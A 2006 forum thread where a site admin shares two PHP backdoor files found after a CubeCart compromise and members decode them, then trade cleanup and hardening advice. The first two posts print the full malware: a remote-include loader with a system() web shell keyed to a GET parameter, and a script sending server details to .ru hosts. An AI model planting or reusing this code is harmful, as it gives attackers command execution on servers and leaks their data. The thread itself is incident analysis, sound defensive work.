+ Reply to Thread
Page 1 of 3 1 2 3 LastLast
Results 1 to 15 of 45

Thread: Any ideas about this hack...?

  1. #1
    JPC Guru
    Join Date
    Jan 2004
    Location
    I'm right behind you....
    Posts
    389

    Any ideas about this hack...?

    I figured you guys might enjoy a puzzle. Even the php gurus I know aren't exactly sure what these files are supposed to do... An org that I work for got hacked today. After their host restored a site backup, there were still malicious php files on the server (2 in ever directory, subdirectory, sub-subdirectory, etc). They got in through an expoit in CubeCart (watch out CC users!). Anyway, I'm curious if any of the genius people here can decipher what these were trying to do. These 2 files (under various names) were present in every single directory on this very large website:

    First file:
    Code:
    <?php
    error_reporting(0);
    if(isset($_POST["l"]) and isset($_POST["p"])){
        if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
        else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
    }else{$user_auth="";}
    if(!isset($_POST["log_flg"])){$log_flg="&log";}
    if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
    {
        if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
        if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
    }
    ?>
    Second file:
    Code:
    <? error_reporting(0);$s="b";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjEyLnBocHN1cHBvcnQucnU=")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjUucGhwc3VwcG9ydC5ydQ==")."/?".$str);} ?>
    Also, the .htaccess file in every directory had been replaced with one that defined one of these scripts as the 404 page.

    Any insights?
    Last edited by Galen; 01-07-2006 at 02:21 AM.

  2. #2
    || $name ne 'R.Stiltskin'
    Join Date
    Jun 2003
    Location
    Tejas
    Posts
    2,405
    First file (with formatting and editing):
    Code:
    <?php
    # do not log any errors so that webmaster won't be aware of shenanigans
    error_reporting(0);
    # check for lowercase POST global settings "L" and "P"
    if (isset($_POST["l"]) and isset($_POST["p"])) {
    # check for global POST "INPUT"
       if (isset($_POST["input"])) {
    # if all true, then create a partially encoded string that includes
    # key/value pairs of l/POST value "l", p/md5 encrypted POST value "p"
          $user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));
       }
    # otherwise create nonencoded string with same key/value pairs
       else {
          $user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];
       }
    } else {
    # if nothing is set, then return an empty string
    $user_auth="";
    }
    
    # if global "log_flag" is not set, use "&log" string as an identifying variable
    if (!isset($_POST["log_flg"])) {
       $log_flg="&log";
    }
    # check for string including "http://bis.iframe.ru/master.php?r_addr="
    # and encoding remote IP, server name, path of query, previous
    # string from first part above, and log flag indicator
    if (! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg) ) {
    # if get request includes strange string, set the global to strange string
       if (isset($_GET["a3kfj39fsj2"])) {
          system($_GET["a3kfj39fsj2"]);
       }
    # if global post "L" matches the string "special",
    # then print to STDOUT "sys_active" and include the full system
    # identification
       if ($_POST["l"] == "special") {
          print "sys_active". `uname -a`;
       }
    }
    ?>
    Second file (with formatting and editing):
    Code:
    <?php
    # do not log any errors so that webmaster won't be aware of shenanigans
    error_reporting(0);
    # return numerous environment settings and assign them to variables
    $s="b";
    $a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
    $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
    $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
    $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
    $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
    $f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
    $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
    $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
    # assemble that series of variables into an encoded/obfuscated string
    $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; 
    # try to parse "http://user12.phpsupport.ru/?encoded_list_of_environment_strings_and_terminated_with_b"
    if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjEyLnBocHN1cHBvcnQucnU=")."/?".$str)))
       {}
    # or try to parse http://user5.phpsupport.ru/?encoded_list_of_environment_strings_and_terminated_with_b
    else
       {
    include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjUucGhwc3VwcG9ydC5ydQ==")."/?".$str);
       }
    ?>
    I don't know PHP, but it would appear that they are returning the server's environment variables in an encoded form after making particular POSTs and GETs in their own defined query strings. They make a false query using preset keys and values. If the server has the PHP globals set up and the server set up "properly", then the Apache Error document directive detects the failed request and returns the defined PHP script. The PHP 404 script then runs, collects the server's environment variables (as much as possible depending on the server's settings), encodes the collected data and appends it as a query string to the PHP-decoded URLs.

    I gather the .ru cracker then checks his logs for these new GETs that were parsed by your PHP server and decodes the query string to see whatever he can about your server's environment and identification. From there s/he/it tries other exploits.

    My question is, how did the cracker write to your filesystem in the first place? Did some software have the ability to create a bunch of folders/files with 777 permissions and that was where the original exploit began? My guess is that that is what the shopping cart did and it is too open to the public, i.e. it creates receipts/tracking/data in the public domain space with permissions that are too loose.

    I'll stop here and let everyone else take a crack at things.

    Updated: A little more info. If you assemble a properly formatted request according to the first script and using a base64_encoder appropriately (e.g.http://bis.iframe.ru/master.php?r_addr=217.107.212.119&url=c2 F5b25hcmFmb3JiaWRkZW4uaHRtbA&log
    which queries the server from the source crack on the "owner" of the iframe.ru domain), you get a curious 404 reply:
    Code:
    <? 
    header("HTTP/1.0 404");
    print "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
    <html>
    <head><script>function PrivoxyWindowOpen(){return(null);}</script><title>404 Not Found</title></head>
    <body>
    <h1>Not Found</h1>
    <p>The requested URL $_SERVER[REQUEST_URI] was not found on this server.</p>
    <hr>
    $_SERVER[SERVER_SIGNATURE]
    </body>
    </html>";
    ?>
    So the manual GET that mimics a soon to be hacked server returns text of 404-FileNotFound using an old DOCTYPE HTML 2.0 so that every client known can recognize the format, but the background server HTTP headers return a 200 OK response. Note also the script returns unparsed server variables to the window. Hmm, I wonder if they should be spitting out collected data from the remotely placed scripts here? At any rate, it would seem that the script was found, a false 404 returned to the GUI, and the data from the GET is undoubtedly logged in the server logs for future perusal. Don't really know what it all means and don't know if it's worth the time anymore. Oh well, more to chew on for the sleuthers.
    Last edited by Spathiphyllum; 01-07-2006 at 11:53 AM. Reason: Remind that script errors are being muted

  3. #3
    First script can be used to execute commands on the server.

    You should not trust that server anymore (especially, if this is a Linux server with an old kernel). Save all the static pages (HTML files), remove all php files as potentially compromised. Get another server, install PHP scripts from your local copy and copy there static pages.

  4. #4
    || $name ne 'R.Stiltskin'
    Join Date
    Jun 2003
    Location
    Tejas
    Posts
    2,405
    Quote Originally Posted by gerilya
    First script can be used to execute commands on the server.
    How? A little elaboration would be helpful.

  5. #5
    Quote Originally Posted by Spathiphyllum
    How? A little elaboration would be helpful.
    By passing value to 'a3kfj39fsj2' GET variable.

    NOTE that this will only work if an attempt to include PHP code from 'http://bis.iframe.ru/master.php?r_addr=....' will fail, either because URL fopen wrappers are disabled or because the remote server (bis.iframe.ru) produced such response that include returned 0.

    The actual line where command execution takes place is
    PHP Code:
    system($_GET["a3kfj39fsj2"]); 
    System function in PHP is much like system in Perl
    http://us2.php.net/manual/en/function.system.php

  6. #6
    Spathiphyllum,

    I just noticed your update and suggest you check the meaning of include language construct: http://us2.php.net/manual/en/function.include.php

    In short, "include" works like Perl's require, but can also open remote PHP files if URL fopen wrappers are enabled.

  7. #7
    Yeah, I know a LOT! Vin DSL's Avatar
    Join Date
    Mar 2003
    Location
    Arizona Uplands Intelligence Quotient: 138+
    Posts
    10,402
    Quote Originally Posted by Galen
    After their host restored a site backup, there were still malicious php files on the server (2 in ever directory, subdirectory, sub-subdirectory, etc)...
    This is one of the reasons YOU should maintain YOUR OWN backups. That code might have been there for quite some time, and the web host simple restored it from a recent backup -- probably from yesterday, or the day before...

    Personally, I backup my own site[s] -- always have -- always will. If 'Web Host X' wants to backup my site, that's fine too, but I would NEVER depend on their backup. Moreover, I've saved every backup I've ever done, all the way back to '96. That might seem a little anal, but they don't take up much space on your local drive[s], so...
    DISCLAIMER Any resemblance between the views expressed above and those of the owners and operators of this system is purely coincidental. Any resemblance between these views and my own are non-deterministic. The existence of Vin DSL is questionable. The existence of views in the absence of anyone to hold them is problematic. The existence of the reader is left as an exercise in the second-order coefficient.

    No Guts, No Story! VinDSL © 2010

  8. #8
    || $name ne 'R.Stiltskin'
    Join Date
    Jun 2003
    Location
    Tejas
    Posts
    2,405
    Quote Originally Posted by gerilya
    ...check the meaning of include language construct: http://us2.php.net/manual/en/function.include.php

    In short, "include" works like Perl's require, but can also open remote PHP files if URL fopen wrappers are enabled.
    Thanks for the follow-ups. Or is it follows-up?

    Yes, I reviewed the "include" pragma and noticed that it had an open URL component to its functions. I didn't get that it was like Perl's "require"; however, that is good to know. One day I might use it assuming I ever try that flash-in-the-pan-of-a-language.

    (Sorry. Couldn't resist. I see Vin lurking and, well, he seems to think that PHP is useful.)

  9. #9
    JPC Guru
    Join Date
    Jan 2004
    Location
    I'm right behind you....
    Posts
    389
    Vin, I agree about keeping your own backups, but it's not my server and I've told them before to keep backups. What else are ya gonna do?

    The server is ok now. Myself and 2 other people spent 5 hours going through every directory and manually deleting every malicious file (the 2 files I gave the code for were present in every directory under different names). It wasn't hard to spot, just tedious to remove. All the malicious code had the same timestamp, so using IE as an ftp client and setting the view to sort by date made the bad files stick out like a sore thumb. Thankfully the site had not been updated for a few days so those files were the only ones on the server with a January 6 timestamp.

    The vulnerability that got them in was (I believe) this one:
    http://www.frsirt.com/english/advisories/2006/0016

    Oh, and I should also mention that the hack as I described it was only the situation *after* the backup was restored. Before that, the site was completely inoperable because part of *every* php file had been written to or deleted. With only partial content in every file, we got nothing but parse errors on everything that used php. The restore replaced the corrupted files with good ones, but didn't get rid of the 2 files mentioned above. So, yeah, those 2 files were only part of the damage. It was pretty nasty. Needless to say, we'll never be using CubeCart again

    Thanks for the insight everybody

  10. #10
    || $name ne 'R.Stiltskin'
    Join Date
    Jun 2003
    Location
    Tejas
    Posts
    2,405
    Galen,

    Are you sure someone didn't touch any files?

  11. #11
    Yeah, I know a LOT! Vin DSL's Avatar
    Join Date
    Mar 2003
    Location
    Arizona Uplands Intelligence Quotient: 138+
    Posts
    10,402
    Quote Originally Posted by Galen
    What else are ya gonna do?
    Tell them to turn off their globals, and this sort of stuff won't happen...

    BTW, I do this via .htaccess...

    Code:
    #Offers protection during hacking attempts by NOT displaying error
    #messages, server paths, et cetera, and turns off your globals.
    php_flag display_errors off
    php_flag register_globals off
    Last edited by Vin DSL; 01-07-2006 at 06:57 PM.
    DISCLAIMER Any resemblance between the views expressed above and those of the owners and operators of this system is purely coincidental. Any resemblance between these views and my own are non-deterministic. The existence of Vin DSL is questionable. The existence of views in the absence of anyone to hold them is problematic. The existence of the reader is left as an exercise in the second-order coefficient.

    No Guts, No Story! VinDSL © 2010

  12. #12
    Clearly that first stage of 'cracking it open' had been done well before the system was completely defaced. I am assuming this because all these files were already on the backup as well.

    It somewhat surprises me that someone setting up such a general purpose hole then decides to so clearly show himself after all. He could have just as easily used the box for all kinds of nasty things all the while not being detected yet. It is almost as if a third party found out about the crack (perhaps in a thread like this one) and is scanning for compromised machines to deface..
    Regards,

    Wim Heemskerk
    ---
    Visit MeCCG.net - Cardgaming in J.R.R. Tolkien's Middle-earth
    And Gwaihir.net - The Middle-earth CCG store

  13. #13
    JPC Guru
    Join Date
    Jan 2004
    Location
    I'm right behind you....
    Posts
    389
    Spath: The files could've been touched I suppose, but I doubt it. These were dumb@$$ little script kiddies that pulled off an exploit on an open source product. It doesn't take a rocket scientist to do that, lol. But, of course, there *is* always the possibility that we could've been tricked and the hacker may still be using the server for something. Their webhost is supposedly keeping an eye on the server just in case that's what's up.

    Gwaihir: The backup was a straight file backup. When it was restored, the files were overwritten, however that didn't delete any new files created since the last backup (which were only the malicious files). That's why we had to delete them manually.

    Ah well, if the server is still vulnerable I guess we'll know soon enough....

  14. #14
    Quote Originally Posted by Galen
    The backup was a straight file backup. When it was restored, the files were overwritten, however that didn't delete any new files created since the last backup (which were only the malicious files). That's why we had to delete them manually.
    I assumed - and would strongly advise - that you had deleted the compromised folders completely before restoring the backup.
    Regards,

    Wim Heemskerk
    ---
    Visit MeCCG.net - Cardgaming in J.R.R. Tolkien's Middle-earth
    And Gwaihir.net - The Middle-earth CCG store

  15. #15
    JPC Guru
    Join Date
    Jan 2004
    Location
    I'm right behind you....
    Posts
    389
    Yes, that would've most certainly been the better way to go about it (and would've saved us 5 hours of cleanup work), but that's not how their webhost did it. I dunno why.

+ Reply to Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts